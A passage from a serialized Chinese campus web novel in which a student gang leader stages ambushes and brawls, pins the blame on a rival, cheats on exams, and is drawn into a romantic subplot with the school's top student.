他翻出通讯录里龙镇宏的名字,编辑了一条短信:"龙哥,有点情况,别上课了出来一下。我在后楼等你!这事只能你解决。"发完短信,张霆琛问路译:"和龙镇宏一个宿舍的还有谁?""知道几个,不全。"邓志辉回答。"够用了。"张霆琛眼中闪过一丝精光,"能骗出来几个是几个。"
另一边,龙镇宏收到短信
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时正在课堂上昏昏欲睡。他皱着眉头看完信息,虽然觉得有些奇怪,但还是举手向老师请假去了厕所。刚出教室门,他就看到同宿舍的四个兄弟也陆续出来了。"你们出来干嘛?"龙镇宏问道。"刘振平叫我们出来的,你也收到短信了?"龙镇宏点点头:"这小子搞什么鬼?"
"估计是商量对付张霆琛的事吧。""可能。那小子比我还阴。"龙镇宏冷笑一声,"走吧,去看看。"五人来到后楼,却发现空无一人。龙镇宏拨通刘振平的电话,铃声却从不远处的拐角传来。"不好!"龙镇宏脸色骤变,但为时已晚。
张霆琛带着十几个人从四面八方围了上来。龙镇宏转身想跑,却被路译带人堵住了退路。"操!敢阴老子!"龙镇宏怒吼着挥拳,但寡不敌众,很快就被按倒在地。张霆琛蹲在他面前,晃了晃手中的手机:"兵不厌诈,你们人多,我只能这样了。"
龙镇宏吐出一口血沫:"王八蛋!刘振平呢?""他啊,"张霆琛轻笑,"处境不比你好。"王涛已经搜出了龙镇宏的手机,递给张霆琛。张霆琛翻看通讯录,突然笑出了声:"有意思,他把自己的兄弟都在名字后面加了''兄弟''二字。"他快速浏览着名单:"加上你们五个,不到十五个人,看来上次你叫的人里不全是自己兄弟啊。"
"**找死!"龙镇宏挣扎着骂道。王涛一脚踹在他肚子上:"闭嘴吧!"张霆琛站起身,环视众人:"名单上有九个人,可能有李耀的人。叫还是不叫?"路译斩钉截铁地说:"已经没有退路了,按计划来!"张霆琛点点头,开始给名单上的人发短信。出乎意料的是,这些人竟然全都来了,无一缺席。
"龙哥真是有魅力啊。"张霆琛感叹道,"可惜了。"当这九个人赶到后楼,看到躺在地上的龙镇宏时,第一反应都是冲上去救人。"别过来!快跑!回去叫人!"龙镇宏拼命喊道。但为时已晚,张霆琛的人已经完成了包围。又是一场毫无悬念的碾压。当最后一个人被按倒在地时,张霆琛长舒一口气:"第一阶段完成。"
路译走过来,压低声音问:"接下来怎么办?李耀那边..."张霆琛眼中闪过一丝冷光:"李耀和龙镇宏本来就有矛盾,现在龙镇宏的人损失大半,李耀肯定会趁机"他没有说完,但路译已经明白了他的意思,两人相视一笑。邓志辉却忧心忡忡地看着地上被绑着的人:"我们是不是做得太过了?万一他们联合起来报复..."张霆琛拍拍他的肩膀:"放心,他们没机会联合了。"
第六十六章:发疯
龙镇宏让他们走,他们哪肯走,一个个摩拳擦掌准备大干一场。可就这么几个人,还真不够张霆琛他们塞牙缝的。虽然张霆琛他们这么想,但交手时还是伤到了自己人。又一场混战过后,张霆琛这边好几个都挂了彩,他自己额角也被蹭破块皮。
张霆琛喘着粗气,抹了把脸上的血,"受伤的兄弟先撤,分散走别让老师看见。其他人把他们手绑了,省得碍事!"三下五除二捆完人,张霆琛一屁股坐在地上:"今天真是走了狗屎运,要是有个闪失,咱们都得交代在这儿。"
路译踢开脚边的砖块:"可不是,差点就阴沟里翻船。""那还不是琛哥神机妙算!"土狗凑过来谄笑,"要不是先搞定这些人,李耀那帮人还怎么玩。"王涛调侃他拍马屁,被土狗一个猛虎扑食按在沙地上:"小兔崽子,说谁拍马屁呢?""我错了我错了!"王涛连连讨饶,逗得众人哄笑。邓志辉擦着指关节的淤青:"二哥这招请君入瓮确实高明。"
张霆琛摆摆手正要说话,刺耳的下课铃骤然响起。所有人瞬间绷直了脊背,李耀的凶名可不是闹着玩的。"放松点,"张霆琛眯眼望向教学楼,"路译,你那边的人到位没?""正在往这儿赶。"路译看了眼手机,"放心,我的人靠得住。"
话音刚落,杂乱的脚步声由远及近。大强突然压低声音:"糟了,路哥,老周他们被班主任扣下了!""操!路译**坑爹呢?"王涛急得跳脚。路译额角渗出冷汗:"不关路哥事,刚收到消息..."
没等他说完,李耀已经带着黑压压一群人拐过墙角。张霆琛数了数,少说四十号人,心里顿时凉了半截。"哟,这么积极?"李耀歪着嘴笑,张霆琛掏出兜里的中华递过去:"耀哥,抽根烟慢慢聊?"李耀叼着烟凑近火苗,吐着烟圈道:"早这么懂事多好。听说你要挑我们高二?现在怂了?"
"您这阵仗谁不怕啊。"张霆琛陪笑,余光突然瞥见远处玻璃反光,是埋伏就位的信号!他猛地变脸:"动手!"一记窝心脚把李耀踹出三米远。混战中邓志辉鬼魅般闪到李耀面前,掐着他脖子往地上掼:"该算账了!"拳头砸在鼻梁上的闷响听得人牙酸。
"二哥小心!"彭志龙突然扑过来,半块板砖在他头上炸得粉碎。鲜血顺着刘海滴在张霆琛手背上,烫得他瞳孔骤缩。"志龙!"张霆琛扶住摇摇欲坠的彭志龙,转头看见偷袭者还在狞笑。他抄起带棱角的石头冲过去,每一拳都带着骨肉相撞的闷响。
"拦住他!要出人命了!"李辰浩大吼。邓志辉死死抱住张霆琛的腰,却被拖着往前挪。那个高二学生已经满脸是血,像破布娃娃似的瘫在地上。李耀那边突然骚动:"耀哥!小田不行了!"有人指着地上抽搐的同伙。正僵持着,远处传来尖叫声:"教务处来人了!"
"今天算你们走运!"李耀擦着鼻血放狠话,眼神却不住往张霆琛手上瞟。那石头尖上还滴着血,活像索命的镰刀。李辰浩突然冲过来,"啪"地一耳光扇在张霆琛脸上:"**疯够了没?李辰浩那一巴掌下去,张霆琛整个人僵在原地,眼神空洞得可怕,直到李辰浩用力摇晃他的肩膀,他才猛然回神。
"**疯了吗?再打下去真要出人命了!"李辰浩低吼着,声音里压着怒意和担忧。张霆琛低头看了看自己沾满血的双手,指尖还在微微发抖,喉咙干涩地挤出一句:"我怎么了?""你差点把人打死!"李辰浩深吸一口气,转头对其他人喊道,"伤的重的去医务室,其他人散了!今天算咱们赢了李耀!"
"操!赢了!"众人欢呼起来,但声音压得很低,生怕引来老师。彭志龙捂着脑袋走过来,血已经顺着指缝渗到校服领口,他咧嘴一笑:"二哥,谢了。"张霆琛摇摇头,嗓音沙哑:"该我谢你,要不是你挡那一下,现在躺医院的就是我了。"
"行了,别矫情了,赶紧撤!"路译不耐烦地催促,"再磨蹭一会儿,教导处的人真来了!"张霆琛拍了拍彭志龙的肩膀,一行人迅速散开。这一仗能赢,全靠张霆琛最后那股疯劲,否则他们今天铁定被李耀的人按着打。伤得最重的就是彭志龙,被砖头拍得头破血流,直接被老师送去了医院。而张霆琛打的那个高二学生,据说伤得不轻,学校这次是真要彻查了。
中午,宿舍里烟雾缭绕,几个人围在一起商量对策。"操,你们谁去把刘振平放出来了?"王涛突然问。"没啊。"众人面面相觑。"妈的!不会还在天台吧?别真出事了!"王涛骂了一句。"死不了,那小子命硬着呢。"路译不以为然地吐了口烟。张霆琛眯了眯眼,忽然冷笑:"你们说,学校查到最后,总得有人背锅吧?"邓志辉皱眉:"被你打的那个伤得不轻,他家要是闹起来,事情就大了。"
"所以,咱们得找个替死鬼。"张霆琛咧嘴
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一笑,目光阴冷。路译的人瞬间警觉起来,张霆琛摆摆手:"放心,不会让自家兄弟背锅。"他顿了顿,"我的意思是让刘振平扛。""怎么扛?直接跟他说''你替我们顶罪吧''?"林凯嗤笑。"当然不是,听说学校在查受伤的人?"
邓志辉眼睛一亮:"你是说再给刘振平加点伤?""对,但不能太重,否则他狗急跳墙,把咱们全供出来。"张霆琛冷笑,"至于被我打的那个,得让他闭嘴。""我去!这事我爱干!"王涛摩拳擦掌。路译皱眉:"光坑刘振平不够吧?李耀那边要是咬死是咱们干的呢?""放心,我有办法。"张霆琛掐灭烟头,"志辉、辰浩留下,其他人先出去。"
等宿舍只剩他们三个,张霆琛压低声音:"志辉,给你爸打个电话,让他帮忙摆平那个高二的家长,别让他们闹。"邓志辉点头:"小事,我爸认识教育局的人。""好,剩下的交给我。"张霆琛转头看向李辰浩,"把你那把**借我。"
李辰浩脸色一变:"什么**?我不知道你在说什么。""别装,薛妈寄给你的那把**,我知道你藏床板底下。"张霆琛伸手,"赶紧的。""操!你怎么知道的?"李辰浩瞪大眼睛。"少废话,给我。""不行!你先说你要干嘛!""放心,不会闹大。"张霆琛咧嘴一笑,"信我。"
李辰浩犹豫半天,最终还是掀开床板,从暗格里抽出一对寒光凛冽的短刃。邓志辉倒吸一口凉气:"罗刹刺?这刀不是早就绝迹了吗?"李辰浩挑眉:"你认识?""我爸收藏的古兵器谱里有记载,这刀是民国铸刀大师的绝作,刀身带煞,削铁如泥。"邓志辉盯着刀刃,眼神炽热,"你从哪搞来的?"
"以后再说。"张霆琛一把夺过**,**后腰,"等着,我很快回来。"李辰浩一把拽住他:"你到底要干嘛?"张霆琛回头,眼神冷得像冰:"信我吗?""信。""那就在这等着。"李辰浩还想拦,但张霆琛已经甩开他的手,大步离开。
门外,林凯他们还在走廊上抽烟,见张霆琛出来,脸色都不太好看。张霆琛知道他们在想什么,拍了拍林凯的肩:"不是故意瞒你们,刚才路译的人在,不好明说。"林凯耸耸肩:"行吧,你去哪?""办点事。"张霆琛头也不回地走向楼梯,"你们回宿舍,别让老师看见伤。"说完,他独自下楼,径直朝高二宿舍走去。
第六十七章:替罪羊
高二宿舍楼的走廊灯光昏暗,墙壁上斑驳的涂鸦记录着无数学生的"光辉历史"。张霆琛双手插兜,不急不缓地走在走廊上,脚步声在空荡的楼道里格外清晰。他的表情平静如水,仿佛不是去敌对势力的地盘,而是去参加一场无关紧要的会议。
"喂,你找谁?"一个染着黄发的男生从宿舍探出头来,警惕地打量着张霆琛。张霆琛停下脚步,嘴角微微上扬:"李耀在哪个宿舍?"黄发男生愣了一下,显然认出了张霆琛。他的眼神闪烁了一下,犹豫着要不要回答。张霆琛不等他回应,直接从他身边走过,挨个宿舍门查看。
"307...应该就是这个了。"张霆琛站在一扇贴满篮球明星海报的门前,深吸一口气,猛地推开了门。宿舍内的嬉笑声戛然而止。六七个男生或坐或站,齐刷刷地看向门口。李耀正半躺在床上玩手机,看到张霆琛的瞬间,手机掉在了床上。
"张霆琛?"李耀的声音里带着难以置信,随即脸上浮现出一抹阴冷的笑容,"真是稀客啊。"张霆琛没有理会其他人警惕的目光,径直走进宿舍。宿舍内的空气仿佛凝固了,所有人都绷紧了神经。"你来干什么?"李耀从床上坐直身体,眼中闪烁着危险的光芒。张霆琛环视一周,目光最终落在李耀身上:"想找你谈谈怎么处理后事。"
李耀眯起眼睛:"你想怎么处理?"他不动声色地朝门口的人使了个眼色,立刻有人堵住了门。张霆琛听到门锁关上,却只是无所谓地笑了笑:"今天我不是来打架的。这件事闹大了,处理不好大家都要背处分,甚至可能被开除。我有个提议,想跟你商量。"
李耀已经从床上站了起来,眼中燃烧着怒火:"想谈可以,但得先算算刚才的账!"他话音刚落,宿舍里的人开始缓缓向张霆琛靠近,但都保持着一定距离,没人敢小看张霆琛的身手。就在气氛剑拔**张之际,张霆琛突然动了。他的动作快如闪电,右手从后腰抽出一把闪着寒光的**,一个箭步冲到李耀面前,将他按倒在床上,**稳稳地架在了李耀的脖子上。
"都别动!"张霆琛的声音不大,却带着不容置疑的威严。所有人都僵在原地。李耀的脸色刷地变白,额头上渗出细密的汗珠。"你...你想干什么?"李耀的声音有些发抖。张霆琛收起**,从容地坐在李耀对面的床上:"我说了,是来谈事情的。"他转动着手中的**,刀面反射的冷光在墙上跳跃,"今天刘振平没来帮你们,对吧?"
李耀咽了口唾沫,勉强镇定下来:"没错,这笔账我迟早要跟他算。""现在就有机会。"张霆琛收起**,直视李耀的眼睛,"让刘振平来背这个黑锅。"角落里一个戴眼镜的男生不屑地哼了一声:"你说让他背他就背?他傻啊?"张霆琛连看都没看他一眼,继续对李耀说:"只要你的人咬定是他干的,事情就好办了。被我打伤的那个同学,多少也有责任。不如让他把事情推到刘振平头上,至于借口怎么编,那就是你的事了。"
"凭什么?"李耀冷笑,"你就能全身而退?"张霆琛缓缓眯起眼睛,目光如刀般刺向李耀。那一瞬间,李耀感觉仿佛被毒蛇盯上的青蛙,浑身发冷,不自觉地打了个寒战。"因为实力。"张霆琛突然笑了,气氛顿时缓和下来,"我有实力谈判,你有实力保住大部分人。这才是双赢。"
李耀咳嗽一声掩饰自己的失态:"刘振平就不会把我们供出来?""他不敢。"张霆琛斩钉截铁地说,"这么做他就彻底没朋友了,以后在学校还怎么混?"李耀沉思片刻,眼中闪过算计的光芒:"好,就这么办。但我和你之间的账还没完!"张霆琛站起身,露出一个意味深长的笑容:"随时恭候。对了,听说你和龙镇宏关系也不太好?"
李耀警惕地看着他:"你知道的还不少。怎么,想把龙镇宏也拉下水?""我只是提醒你,"张霆琛走向门口,人群自动让开一条路,"龙镇宏身边那几个死忠,早晚是个麻烦。"李耀突然叫住他:"等等!有没有兴趣跟我?"张霆琛头也不回地摆摆手:"我喜欢自己混。耀哥,谢了。"他拉开门,从容地离开了宿舍。
门关上后,宿舍里炸开了锅。"耀哥,就这么放他走?"黄发男生不甘心地问。"闭嘴!"李耀怒吼,"你们谁打得过他?啊?"见众人低头不语,他阴沉着脸说,"给田明打电话,让他咬死是刘振平他们干的。就说龙镇宏他们打群架,田明去劝架结果被开了瓢。"
李耀的死党周凯皱眉:"这样行吗?龙镇宏要是反咬我们..
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.""是田明咬的他,关我什么事?"李耀阴险地笑了,"只要今天的事不外传,大家只会认为是田明为了保我们才诬陷龙镇宏。龙镇宏再不爽,没证据也不敢动我。"众人恍然大悟,不得不佩服李耀的心思缜密。而此时的张霆琛已经回到自己宿舍,路译他们正兴奋地讨论着。
"刚才老师查寝,正好撞见刘振平他们鼻青脸肿的,全带走了!"路译大笑道,"那傻子怕牵连李耀,硬是不敢说是我们打的。他哪知道马上就要替我们背锅了!""你要是在楼上被绑了几个小时,知道个屁!"邓志辉笑着调侃。
李辰浩担忧地问:"小琛,你刚才去哪了?""跟李耀谈了谈,他答应让田明指认刘振平。"张霆琛轻描淡写地说。"你一个人去高二宿舍?"众人惊呼。张霆琛耸耸肩:"小事一桩。"李辰浩脸色难看,张霆琛赶紧赔笑:"好了好了,下不为例。这不是没事吗?"
邓志辉忧心忡忡:"现在只剩彭志龙那边了,老师追究起来怎么办?""我在楼下的时候已经打电话跟彭志龙说好了,"张霆琛胸有成竹,"就说是我们闹着玩不小心碰的。带他去医院的老师人不错,没上报。""这也太悬了..."邓志辉嘀咕。"尽人事,听天命。"张霆琛躺到床上,双手枕在脑后。
下午上课前,张霆琛被叫到了办公室。李辰浩和邓志辉紧张不已,生怕事情败露。谁知张霆琛回来后,脸上带着轻松的笑容。"就训了我两节课,写个检查完事。"张霆琛转着手中的笔,"彭志龙的班主任和赖军轮流骂我''打闹不分轻重'',我就装乖听着。"
晚上食堂里,一群人举杯庆祝。路译神秘兮兮地说:"最新消息,田明把龙镇宏也卖了。但李耀一口咬定不是他指使的,刘振平和龙镇宏替我们背了锅。龙镇宏本来想供出我们的,不知怎么又改口了。"
张霆琛咬了口鸡腿,含糊不清地说:"肯定是李耀跟他们说''这事你们扛下来吧,再牵连更多人不好。等田明回来我摆酒道歉''之类的话。""你怎么知道?"邓志辉瞪大眼睛。"换我也会这么说。"张霆琛擦了擦嘴。梁颖推了他一下:"张霆琛,你真够坏的。"张霆琛露出狡黠的笑容:"这叫兵不厌诈。"
第六十八章:情书
晚上大家在宿舍聊天时,"现在我宣布一件事情!大家安静!"王涛站在宿舍中央,夸张地清了清嗓子,手里挥舞着两个粉色信封。宿舍里顿时安静下来,所有人都好奇地看向他。张霆琛从床上坐起身,饶有兴趣地问:"什么事情?"
"当当当"王涛像变魔术一样展示着信封,"我这里有两封情书!大家说说,打开念不念?""给谁写的?那必须要念出来啊。"张霆琛坏笑着起哄。邓志辉在一旁假装正经:"不要吧,多不给面子啊!多****啊。不行不行!"
张霆琛挑眉看向邓志辉:"不会是写给你的吧?你这么紧张?"邓志辉板着脸:"不许瞎说,我不赞同念出来。""那就举手表决!"张霆琛说完抢先举手,"我同意念出来!"但话音刚落,他就发现所有人都在对他露出诡异的笑容,那种笑容让他后背发凉。"你们笑什么?还那么猥琐!"张霆琛警惕地环视宿舍。
"停停停!不许闹了,"王涛装模作样地清了清嗓子,"现在我要念了,嗯...这个...那个...我真的念了?"他故意拖长音调。"念吧念吧!没见过你这么墨迹!"张霆琛假装不耐烦地挥手。王涛耸耸肩,展开第一封信:"亲爱的...在我第一眼看到你的时候我就深深的被你迷住了,不知道是缘分还是上天的安排..."宿舍里响起此起彼伏的憋笑声。王涛夸张地念完一整页肉麻内容后,突然停下:"哦对了,我好像忘了念收信人。写信的是我们班那个方悦。"
"**!你说的是''方胖子''?不是吧!"邓志辉瞪大眼睛。"没错,就是那个''球''!"王涛郑重其事地点头。顿时宿舍里爆发出震天笑声,只有李辰浩和张霆琛一脸茫然。邓志辉笑得直不起腰:"你...你念念收信人吧""霆琛哥哥~"王涛捏着嗓子学女声。
这下全宿舍笑得更疯了,有人直接滚到了地上。张霆琛愣了几秒才反应过来:"不会是写给我的吧?""你才发现啊,知道谁给你写的吗霆琛哥哥?"土狗捂着肚子狂笑。"闹了半天是写给我的?你们合起伙来玩我?"张霆琛哭笑不得。土狗边笑边解释:"是王涛班里那个大胖子!比我还重,据说上次体检差点压坏体重秤!就是个热气球!"
张霆琛抢过信封,发现里面附着一张照片:"这女孩不难看啊?"王涛抢回照片,顿时笑得趴在地上,邓志辉也笑倒在王涛身上。土狗喘着气解释:"这是武天后!不是她!""谁是武天后?"张霆琛天真地问。林凯终于忍不住了:"武天后是樱花国的女主角,至于是什么女主角我就不解释了。但方悦给你附这么一张照片,意图已经很明显了。"
张霆琛夸张地哇了一声:"这个世界太疯狂了吧?"他伸手去抢第二封信,"把下一封给我看看,不许念了!"王涛敏捷地把信藏在身后:"不行!是你吵着要念的,现在反悔晚了!"其他人也起哄支持。王涛拆开第二封信,突然惊叫:"**!是谢诗韵!"
宿舍瞬间炸开了锅。邓志辉抢过情书看了一眼,立刻抱头痛哭:"不公平!世界太不公平了!"其他人传阅后反应如出一辙。张霆琛无奈地看着这群戏精。邓志辉突然用充满杀气的眼神看向他:"兄弟们,讨伐他!"一群人顿时扑向张霆琛。闹腾过后,林凯解释道:"谢诗韵是咱们学校公认的校花,志辉追过人家,被无情拒绝了。你小子真有福气。"
"哦?"张霆琛不以为然,"可我有梁颖了,再好看关我什么事?"众人纷纷摇头感叹"身在福中不知福"。邓志辉叹气:"她家里势力恐怖,要是泡到她,衣食无忧。"李辰浩好奇:"有多夸张?""我爸都说让我把她拿下,"邓志辉苦笑,"但我表白后人家理都不理。她家控制全市70%的**交易,青帮都不敢动她家。"李辰浩看向张霆琛,后者表情突然严肃,但很快摇头:"我不靠女人发家,我现在喜欢的是梁颖!"李辰浩挑眉:"我就是问问你的意思。"
邓志辉插话:"先看看信里写的什么!"他展开信纸,"**!这姑娘约你今晚7点小花园见,还留了手机号!"张霆琛抢过信揉成一团:"我有梁颖就够了。"他躺回床上,"我给媳妇发短信了!""切!"众人集体嘘声。出乎意料的是,梁颖回信说:你去吧,跟人家好好说说,要不多伤人家啊!
张霆琛无奈地对下铺的李辰浩说:"我媳妇让我去见人家,怕伤害人家感情,她怎么这么傻。""那叫善良!不懂了吧!"王涛插嘴。邓志辉假装愤慨:"要是我,现在就去等人家!""可惜你不是我!"张霆琛故意气他。土狗适时唱起《可惜不是你》,气得邓志辉嗷嗷叫。
梁颖又发来短信:你去说清楚,不然会让人家讨厌的,我相信你,乖!张霆琛叹气:"我媳妇发话了,那我就去说清楚。""口是心非!"邓志辉讽刺道。王涛也起哄:"魏绍齐可是全校前五的美女,你不满足还要找第一的...鄙视你!"
张霆琛说不过他们,起身下床:"不跟你们这帮没正经的辩论。我去去就回。"临走前警告,"你们要是敢跟踪我,等着瞧!""谁稀罕啊!"王涛大声回应。但张霆琛刚出门,他就跳起来:"快快快
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,跟上跟上!"走廊上,邓志辉对李辰浩说:"大哥,说话算话啊!""行,一周的饭,我请!"李辰浩爽快答应。"还有个条件哦!"邓志辉贱笑。
"帮你追隔壁班那女孩是吧?包我身上。"李辰浩刚说完,邓志辉就捂住他的嘴:"小声点!这事保密。""你不是喜欢谢诗韵吗?"李辰浩疑惑。"那是激将法!不然怎么让二哥好奇?你怎么会输?哈哈哈...""卑鄙!"李辰浩骂道。"兵不厌诈!"邓志辉得意洋洋。
小花园里,张霆琛心不在焉地玩着手机,直到一个清脆的女声响起:"张霆琛是吧?"他抬头,看到谢诗韵的瞬间,脸不自觉地红了。少女亭亭玉立,一米六五的个子,雪肤红唇,瓜子脸上五官精致如画。她大方地坐到张霆琛旁边:"你还打算看到什么时候?"
张霆琛咳嗽一声掩饰尴尬:"我是张霆琛,你是?""谢诗韵。""哦,你就是谢诗韵。"张霆琛重新打量她,很快恢复镇定,"听说你把李耀和刘振平他们一起打败了,真不简单。""还行吧,都是瞎传的。"张霆琛谦虚道。
"我看不像瞎传,"谢诗韵直视他的眼睛,"你刚来就拉拢了一大批人,现在连路译都跟着你。过分谦虚就是虚伪哦。"张霆琛喜欢她的直接,但仅限于此:"你找我就为问这个?""不然呢?"谢诗韵轻笑。"那你可以问邓志辉,他喜欢你,知道我们所有事。没什么事我先走了。"张霆琛起身。
谢诗韵叫住他:"我一个女生还没表态你就要走,太不礼貌了。""我有女朋友,在小花园待久了传到梁颖耳朵里不好。""她知道你来了?""知道,是她让我来的。""她挺大方啊,不怕我把你拐跑?"谢诗韵调笑道。张霆琛毫不客气:"怕你没这个资本。"说完又要走。谢诗韵在他身后说:"我倒要看看我有没有这个资本,张霆琛,你等着吧。"张霆琛背对她摆手:"我有梁颖就够了,你去找邓志辉吧!"
回去的路上,张霆琛撞见了鬼鬼祟祟的室友们:"你们真无聊!简直是一群..."他气得找不到词。王涛厚着脸皮问:"二哥,什么情况?讲讲呗!""把我拒绝了呗!"谢诗韵的声音从后面传来。邓志辉立刻挖苦:"哟,谢美女,追我们霆哥不顺利啊?"
谢诗韵不气不恼:"是啊,碰钉子了。"她走到张霆琛身边,"咱们走着瞧吧?"说完潇洒离去。众人立刻学着她的语气起哄:"咱们走着瞧吧!"张霆琛只丢下一句"无聊"就回了宿舍。他给梁颖发短信:已经拒绝人家了,莫担心你老公会被人抢走!梁颖回复:我就相信你!
第六十九章:谢诗韵加入
清晨六点,食堂的灯光刚刚亮起,张霆琛就已经端着两个餐盘站在队伍最前面。他知道如果不早点来,梁颖和陈曦她们根本抢不到什么好吃的。当他把热腾腾的烧饼夹里脊放在梁颖面前时,女孩的眼睛弯成了月牙。
"你今天怎么这么早?"梁颖一边问,一边把自己烧饼里的里脊肉全夹到张霆琛盘子里。"考试嘛,得吃饱了才有力气发挥。"张霆琛笑着咬了一大口,余光却瞥见远处餐桌上的乔川。那个戴着金丝眼镜的优等生正用轻蔑的目光打量着他们这一桌。
梁颖顺着他的视线看去:"怎么了?""没事。"张霆琛擦了擦嘴,突然站起身,"你们先吃。"在众人疑惑的目光中,张霆琛径直走向乔川的餐桌。他单手撑在桌面上,俯视着那个瘦弱的男生:"乔川,你可以无理取闹,可以使大少爷性子。但我告诉你,胡乱栽赃可不行。"
话音刚落,张霆琛猛地按住乔川的后脑勺,"砰"地一声将他的脸按进了面前的粥碗里。食堂里顿时响起一片惊呼。"张霆琛!你干什么?"梁颖跑过来拉住他。陈曦动作更快,抄起乔川的餐盘就扣在了他头上:"昨天就是这个混蛋告黑状说二哥抽烟,害得二哥被罚站!"
梁颖震惊地看着满脸米粥的乔川:"真的是你?"乔川抹了把脸,眼镜歪在一边:"就是我告的状!像他这样的校园混混就该被整治,罚站都是轻的!"王涛飞起一脚将乔川连人带椅子踹翻:"**脑子进水了?诬告还有理了?"张霆琛拦住要冲上去的王涛,嘴角勾起一抹冷笑:"这种人打多少次都没用。"他俯身对地上的乔川说,"咱们考场上见真章。"离开食堂时,梁颖最后看了乔川一眼:"我一直以为你只是任性,没想到这么卑鄙。"
上午八点,语文考试准时开始。张霆琛坐在第一考场靠门的位置,这个角度既方便观察老师,又容易暴露。他快速浏览了一遍试卷,嘴角微微上扬,大部分题目都在复习范围内。"二哥到底怎么帮我们**啊?"考试前,邓志辉曾紧张地问。"不是说好了吗?蓝牙传答案。"张霆琛当时这样回答。
现在,他写完最后一道阅读理解题,抬头观察监考老师,那位戴着厚镜片的中年女教师正死死盯着他,仿佛看穿了他的计划。张霆琛轻咳两声,远处的陈曦立刻举手:"老师,有道题看不清!"趁老师走过去的空档,张霆琛迅速掏出手机,将选择题和填空题拍下,通过蓝牙传给隔壁考场的路译。整个过程不到二十秒。"搞定。"张霆琛松了口气,开始检查作文。
考试结束铃声响起时,最后一个考场爆发出一阵欢呼。张霆琛走出教室,迎面碰上兴高采烈的王涛和邓志辉。"二哥!全抄上了!"邓志辉兴奋地拍他肩膀,"我们先写的作文,哈哈!"
路译挤过来,压低声音:"按这水平,咱们肯定能搬出那破宿舍了。""今天看到刘振平了吗?"张霆琛突然问。"他们那帮人都被停课反省了,下周才回来。"路译撇撇嘴,"等他们回来,估计又要**。"张霆琛冷笑:"李耀都收拾了,还怕他们?"
下午的数学和英语考试同样顺利。当最后一科结束,张霆琛和梁颖并肩走在校园小路上,夕阳将两人的影子拉得很长。"考得怎么样?"梁颖轻声问。"还不错。"张霆琛笑着看她,"大家都考得挺好。""那就好。"梁颖犹豫了一下,"不过还是我还是觉得应该靠自己..."
"嫂子放心,就这一回!"王涛从后面追上来,"我们这不是想换宿舍嘛!"正当几人走到食堂门口时,一个窈窕的身影拦住了去路,谢诗韵。她今天穿了一条红色连衣裙,在夕阳下格外醒目。"你来干什么?"张霆琛皱眉。"食堂是你家开的?我不能来吃饭?"谢诗韵歪着头,一脸无辜。
"可以,但你挡路了。"张霆琛冷淡地说。谢诗韵不以为意:"你就这么讨厌见到我?""比起
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见你,我更想吃饭。""哦?"谢诗韵从包里掏出一盘磁带,"那考试**的证据也不重要了?"张霆琛瞳孔一缩:"什么**?我不知道你在说什么。""装傻?"谢诗韵晃了晃磁带,"这里面可是录下了你们传答案的全过程。"
张霆琛伸手要抢,谢诗韵早有准备,敏捷地后退一步:"怎么,说不过就动手?""我只是想看看是不是真的。""那我直接交给老师鉴定好了。"谢诗韵作势要走。张霆琛一把拉住她手腕:"你到底想怎样?""男女授受不亲哦!"谢诗韵娇嗔道,却没有挣脱。"少废话,说出你的条件。"
谢诗韵嫣然一笑:"很简单,我要加入你们。""不可能!"张霆琛断然拒绝。"那就别怪我不客气了。"谢诗韵甩开他的手,"不知道你的朋友们能不能接受三年都住在那破宿舍里?"邓志辉赶紧拉住张霆琛:"二哥,就是一起玩而已,别跟自己过不去啊!"
梁颖也轻声劝道:"是啊,要是**被抓,你们就惨了。答应她吧。"张霆琛难以置信地看着梁颖:"你看不出她别有用心吗?还让她加入?"梁颖甜甜一笑:"我相信你。再说了,只是一起玩而已。"在众人期盼的目光中,张霆琛咬了咬牙:"行,一起玩吧。"
就这样,谢诗韵成功打入了张霆琛的圈子。虽然动机不纯,但不得不承认,有这位校花在身边,张霆琛团队在校园里的影响力又上了一个台阶。当天的晚餐格外热闹,新加入的谢诗韵和原本的梁颖、陈曦形成鲜明对比,一个明艳如火,一个清丽如水,一个活泼似风。男生们看得眼花缭乱,只有张霆琛皱着眉头,时不时瞥向笑靥如花的谢诗韵,心中暗自警惕。
"怎么了?"梁颖悄悄握住他的手。张霆琛摇摇头,勉强笑了笑:"没什么,只是在想考试成绩什么时候出来。""担心考不好?""不,"张霆琛看向窗外的星空,"是担心平静日子快结束了。"
第七十章:布局
下午,赖军拿着成绩单走进教室,全班瞬间安静下来。他推了推眼镜,目光扫视一圈,最后落在张霆琛身上,嘴角微微上扬。"占用大家一点时间,我公布一下这次考试的成绩。"赖军清了清嗓子,"这次班里的排名有些变动。"
乔川坐在前排,转头朝张霆琛投去一个挑衅的笑容,仿佛已经胜券在握。张霆琛神色平静,但指尖轻轻敲击桌面,泄露了一丝紧张。"第三名——"赖军顿了顿,"转校生李辰浩。""哇哦!"全班瞬间爆发出一阵惊呼,所有人都转头看向李辰浩。李辰浩愣了一下,随即反应过来,张霆琛传给他的答案,竟然让他考进了前三!他赶紧抱拳,朝四周拱了拱手:"客气客气!"
赖军敲了敲讲台:"安静!第二名——"他目光柔和地看向梁颖,"咱们班的课代表,梁颖。"梁颖微微一笑,但眼神却悄悄瞥向张霆琛,似乎在确认他的反应。乔川突然站了起来,一脸傲慢:"老师,第一名就不用念了吧?成绩单贴前面让大家自己看就行,做人要低调。"
赖军冷冷瞪了他一眼:"有你什么事?坐下!"他目光重新回到成绩单上,声音提高了几分:"第一名——转校生也张霆琛。""轰"全班瞬间炸开了锅,掌声雷动。谁都没想到,这个刚转学不久、整天跟人打架的"校霸",居然能考全班第一!乔川脸色煞白,猛地站起来:"他**!他肯定是抄的!"
"你给我坐下!"赖军厉声呵斥,随即转向张霆琛,语气缓和:"虽然是全班第一,但年级排名只是第二,还要继续努力。"张霆琛点点头,目光轻飘飘地扫过乔川,嘴角勾起一抹冷笑。乔川如坐针毡,眼神涣散,仿佛被抽走了所有底气。
下课铃响,走廊上。一群人围在一起,互相祝贺。邓志辉挠了挠头,一脸郁闷:"奇怪,大哥能抄到第三名,我怎么才第五?居然比乔川还低!"李辰浩拍了拍他的肩,笑道:"我旁边坐着陈曦呢,作文都是她帮我写的,当然比你分高!咱们陈曦可是全班第一,年级第三!"
"切!"邓志辉翻了个白眼,"那年级第一是谁啊?""是我啊。"一道清脆的女声从身后传来。众人回头,谢诗韵倚在墙边,似笑非笑地看着张霆琛:"没想到你能考到第二名,能打还能学?"张霆琛淡淡瞥了她一眼:"确实没想到会在你后面。"
